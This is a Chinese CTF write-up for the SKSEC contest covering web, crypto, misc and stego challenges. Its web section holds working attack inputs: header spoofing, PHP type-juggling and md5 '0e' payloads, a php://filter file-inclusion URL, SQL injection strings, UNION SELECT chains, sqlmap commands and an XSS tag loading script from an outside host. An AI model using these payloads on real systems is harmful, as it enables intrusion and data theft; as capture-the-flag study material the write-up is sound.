SKSEC
来源:互联网 发布:php服务器绑定域名 编辑:程序博客网 时间:2024/06/03 17:19
CTF
先附上群里大表哥的总结 wiki
web
1.源代码
直接右击查看源代码即可。
2.HongKong
考察对http的了解,由提示,我们应该让服务器认为我们是从香港登陆的才可以,刚开始以为要改自己的ip,后来了解可以通过修改Accept-Language: zh-CN,zh;改成zh-HK即可,毕竟可以通过语言来判断地方。得到flag。
3.Response
通过抓包得到一个奇怪的字符串666c61677b52657370306e73657d,观察发现最大的为e,猜测某种编码,用火狐的hackbar解密的到flag。
4.Where are you from
还是考察http协议,打开网页后提示Please access the server from the local,http中X-Forwarded-For来获取用户IP地址,把这个添加上X-Forwarded-For:127.0.0.1,得到flag。
5.他是个好人
打开网页以后,只有一句话,查看源码得到提示。PHP还没怎么接触,去查了一下,parese_str有把查询字符串解析到变量中功能,所以说,只要构造出字符串you,解析以后得到he==good即可。在后面加入?you=he=good.访问得到flag。
He is too bad, please save him<br><!----- Code ---echo "He is too bad, please save him";parse_str($_GET['you']);if($he == 'good'){echo "Excellect\n";echo $flag;}-->
6.Burp大法好
考察Burp的简单使用,拦截后得到Cookie: user=admin; guess=999,猜测guess应该是从0到999的数字,爆破一下,即可获得flag。
7.cut!cut!cut!
访问后得到代码,结合Hint理解,==是比较运算,它不会去检查条件式的表达式的类型===是恒等,它会检查查表达式的值与类型是否相等NULL,0,”0″,array()使用==和false比较时,都是会返回true的,而使用===却不会。
这道题有两种做法,我们还是先说数组 ereg是处理字符串的,所以,按照原理,我们将password构造一个arr[],传入之后,ereg是返回NULL的,===判断NULL和FALSE,是不相等的,所以可以进入第二个判断,而strpos处理数组,也是返回NULL,注意这里的是!==,NULL!==FALSE,条件成立,拿到flag, 第二种做法,ereg读到%00的时候,就截止了,所以可以构造s%00--,也能拿到flag
<?php$flag = '*********';if (isset ($_GET['password'])) { if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) echo '<p class="alert">You password must be alphanumeric</p>'; else if (strpos ($_GET['password'], '--') !== FALSE) die($flag); else echo '<p class="alert">Invalid password</p>';}?><section class="login"> <div class="title"> <a href="./index.phps">View Source</a> </div> <form method="POST"> <input type="text" required name="password" placeholder="Password" /><br/> <input type="submit"/> </form></section></body></html>
8.PHPの黑魔法
<?phpif(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; if($v1 != $v2 && md5($v1) == md5($v2)){ 两个md5相等是可以的 if(!strcmp($v3, $flag)){ echo $flag; } }}?>
php的md5漏洞PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
常用的payload:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
240610708
s878926199a
s155964671a
s214587387a
s214587387a
php弱类型Hint:php不会严格检验传入的变量类型,也可以将变量自由的转换类型。比如a==b的判断如:a=null b=false时反回的真,a='' b=0; 也会是真。
变量的强制类型转换:
1.数学运算
数组遇上string:Array转换整型int/浮点型float会返回元素个数;转换bool返回Array中是否有元素;转换成string返回'Array',并抛出warning。
var_dump(0 == '0'); // truevar_dump(0 == 'abcdefg'); // true var_dump(0 === 'abcdefg'); // falsevar_dump(1 == '1abcdef'); // true
'1assd'的转换后的值是1,而‘asdaf’是0。从第一位不是数字的单位开始进行。
2.函数的松散判断
$a = 'asdfgh';//字符串类型的a</br>echo $a[2]; //根据php的offset 会输出'd'</br>echo $a[x]; //根据php的预测,这里应该是int型,那么输入string,就会被intval成为0 也就是输出'a'
总结:在所有php认为是int的地方输入string,都会被强制转换数组遇上string:Array转换整型int/浮点型float会返回元素个数;转换bool返回Array中是否有元素;转换成string返回'Array',并抛出warning。
9.就不给你flag
文件包含漏洞,通过php的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就有可能导致文件泄露,甚至恶意代码注入。
文件包含可以分为普通本地文件包含,有限制的本地文件包含,普通远程文件包含,有限制的远程文件包含。
这个可以构造
http://xxx.com/index.php?file=php://filter/read=convert.base64-encode/resource=xxx.php这样的链接来访问,最后解密就可以了。
10.网络管理员
这个题提示是用python的requests模块,但是百度了一下,发现burpsuite也可以爆破带有简单验证码的登录。在这里。用单线程宏,必须单线程,多线程会出错,大概是burp会把进程弄混吧。
11.sql注入1
提示里面的源码:
if ($_POST['user'] && $_POST['pass']) { $link = mysql_connect('MYSQL_HOST', 'MYSQL_USER', 'MYSQL_PASS'); if (!$link) { die('connect failed!'); } $db = mysql_select_db('MYSQL_DB_NAME', $link);$user = trim($_POST['user']);$pass = md5(trim($_POST['pass'])); $sql="select user from ctf where (user='".$user."') and (pass='".$pass."')"; echo '</br>' . $sql; $query = mysql_fetch_array(mysql_query($sql, $link)); if ($query['user'] == "admin") { echo "<p>Logged in! flag:********** </p>"; } if ($query['user'] != "admin") { echo ("<p>You are not admin!</p>"); }}echo $query['user'];
这个题考察基本原理,先随便提交一下显示:
select user from ctf where (user='Username') and (pass='dc647eb65e6711e155375218212b3964')
想办法提交并且闭合括号,并且把后面注释掉。把admin')# 提交发现成功。后面先到也可以提交admin') or ('1'='1
select user from ctf where (user='admin')#') and (pass='dc647eb65e6711e155375218212b3964')
select user from ctf where (user='admin') or ('1'='1') and (pass='dc647eb65e6711e155375218212b3964')
12.sql注入2
这个提倡手工注入,不过明白原理以后,用工具更方便一些。手工注入:
http://192.168.139.150/sql2/sql2.php?id=-1'orderby 2--+ 不报错http://192.168.139.150/sql2/sql2.php?id=-1'orderby 3--+ 报错http://192.168.139.150/sql2/sql2.php?id=-1'UNIONSELECT 1,database()--+ 查数据库http://192.168.139.150/sql2/sql2.php?id=-1'UNIONSELECT 1,group_concat(table_name) from information_schema.tables wheretable_schema='sql2'--+ 查表名http://192.168.139.150/sql2/sql2.php?id=-1'UNIONSELECT 1,group_concat(column_name) from information_schema.columns wheretable_name='f1ag'--+ 查列名http://192.168.139.150/sql2/sql2.php?id=-1'UNIONSELECT 1,flagishere from f1ag --+ 查内容sqlmap:
sqlmap -u"http://" –dbs 查库sqlmap -u"http://" --table -D "flag" 查表 -D表示数据库参数 -T -C同理。sqlmap -u "http://"--columns -T "flag" -D "f1ag" 查列sqlmap -u"http://" --dump -C "f4ag" -T"flag" -D "f1ag" 查内容。
13.xss
网上找一个平台,然后测试,注意闭合!这个题一直没解决就是因为闭合不对。
</textarea><script src=http://xss></script>
Crypto
密码学前面的几个题目都不难,了解以后就没问题了。
1.base64
简单的base64接码,base64主要特征是由64个字符组成,最后可能有等号,长度是4的整数倍。
2.想翻过栅栏的凯撒
栅栏密码
凯撒密码 凯撒密码在线机密
3.培根?肉?
培根密码
4.最爱颜文字
颜文字这个复制到浏览器控制台运行就可以啦。
5.Base64?
这个题目先用base64解密,然后发现跟base64差不多,不过没有小写字母,猜测是base32,解密后得到flag。
密码学中,对密文多次加密也是另一条出路。
6.啥呢?很简单的
分析密文,发现有两种字符,而且每一小段之间有空格隔开,应该每一小段是一个字符吧,用摩斯密码试一下就成功了。
7.very easy rsa
p = 3487583947589437589237958723892346254777
q = 8767867843568934765983476584376578389
e = 65537
q = 8767867843568934765983476584376578389
e = 65537
求d。
学习了一下rsa算法,链接1,链接2,
# coding = utf-8def computeD(fn, e): (x, y, r) = extendedGCD(fn, e) #y maybe < 0, so convert it if y < 0: return fn + y return ydef extendedGCD(a, b): #a*xi + b*yi = ri if b == 0: return (1, 0, a) #a*x1 + b*y1 = a x1 = 1 y1 = 0 #a*x2 + b*y2 = b x2 = 0 y2 = 1 while b != 0: q = a / b #ri = r(i-2) % r(i-1) r = a % b a = b b = r #xi = x(i-2) - q*x(i-1) x = x1 - q*x2 x1 = x2 x2 = x #yi = y(i-2) - q*y(i-1) y = y1 - q*y2 y1 = y2 y2 = y return(x1, y1, a)p = 3487583947589437589237958723892346254777q = 8767867843568934765983476584376578389e = 65537n = p * qfn = (p - 1) * (q - 1)d = computeD(fn, e)print d解出来d很长很长,
Misc
1.WTF!这是什么鬼?
提示jother。百度以后发现,复制到浏览器运行一下就可以啦。
2.J1
先想到用文本打开,搜一下flag得到了一半,后在结尾发现另一半加密的flag,解密以后得到完整的flag。这个很有启发,flag分成两半藏起来。
3.听会儿歌吧
mp3文件,利用MP3Stego解出来就可以了,这两个题目相似度很高,这篇博客写的很详细了!
4.生日
压缩包有密码,提示是生日,直接上工具ARCHPR暴力破解。
5.你打不开的
提示密码很长,但是用工具解密的时候,提示该文件没有加密,后来了解到伪加密,可以直接在Linux中打开,也可用ZipCenOp.jar,另外用16进制编辑器改回加密标记为也可以,不过要先了解压缩文件的结构哦。另外win系统下用7z这个工具也可以直接打开伪加密的文件。
6.一起来吸猫啊
提示明文攻击,还是上工具,很快就破解了。明文攻击就是已经知道加密文件中的部分文件,但是要注意,打包后的crc32也必须相同才能用这种方法解。
7.你知道这是啥吗?
确实,我不知道这是啥,但是百度知道啊,pcap文件是截取的数据包文件,不多说kali里的Wireshark直接打开,很快就能找到flag。
8.notapad里的秘密
这个题目下载的文件是.raw,hint说要用volatility。是一个内存取证分析的题目,另外hint的那个博客已经很详细了命令:
volatility -f 文件名 imageinfo 获取内存类型volatility -f 文件名 pslist --profile=上一步得到的类型 本题中发现notepad进程volatility notepad -f 文件名 --profile=得到flag;
9.notepad里的秘密2
常规操作如上一题,hint说flag在flag.txt不过这次用到filescan找到flag.txt,然后dumpfiles把文件弄出来:
volatility -f 文件名 --profile= dumpfiles --dump-dir目录 -Q地址 最后打开就得到了flag。
PPC
1.CRC32
crc32是一种crc32碰撞这篇文章讲得很好,里面有个类似的题目,模仿一下解到flag。
2.base64?
用base64解出来有乱码,原来是有一部分base64的大小写不正确。
3.简单编程&4.求素数
这两个简单的编程题不再说了。
Stega
1.图种
哈哈,图种改一下后缀名得到flag。看到一博客说,这种方法能做什么?除了加密,在一些只允许上传jpg或其他格式的站点上,就可以把其他不允许上传的文件压缩后与jpg文件进行绑定,这样,网站的相册也就成了我们存放文件的工具箱了。果然厉害!
2.word的本质
word的本质是?百度这样说:docx格式的文件本质上是一个ZIP文件。将一个docx文件的后缀改为ZIP后是可以用解压工具打开或是解压的。事实上,Word2007的基本文件就是ZIP格式的,他可以算作是docx文件的容器。docx 格式文件的主要内容是保存为XML格式的,但文件并非直接保存于磁盘。它是保存在一个ZIP文件中,然后取扩展名为docx。将.docx 格式的文件后缀改为ZIP后解压, 可以看到解压出来的文件夹中有word这样一个文件夹,它包含了Word文档的大部分内容。而其中的document.xml文件则包含了文档的主要文本内容。所以改一下文件后缀名,就能得到flag。
慢慢更新,还有好多题没做出来
阅读全文
0 0
- SKSEC
- java仿写ArrayList
- KMP模板题汇总(更新中。。。)
- Python 常见错误(雷区)
- Android中shape的使用
- 【linux 学习】创建快捷方式(linux mint)
- SKSEC
- 设计模式(26)--业务代表模式
- css2学习笔记整理总汇
- springmvc工作原理以及源码分析(基于spring3.1.0)
- 1.1 使用IntelliJ IDEA搭建Spring-Boot的"Hello World"项目
- Python学习零散杂记(2017-10-27)
- python_批量转换腾讯云短信模版格式
- vue读书笔记6
- 使用Android Studio开发遇到的问题集合(转载)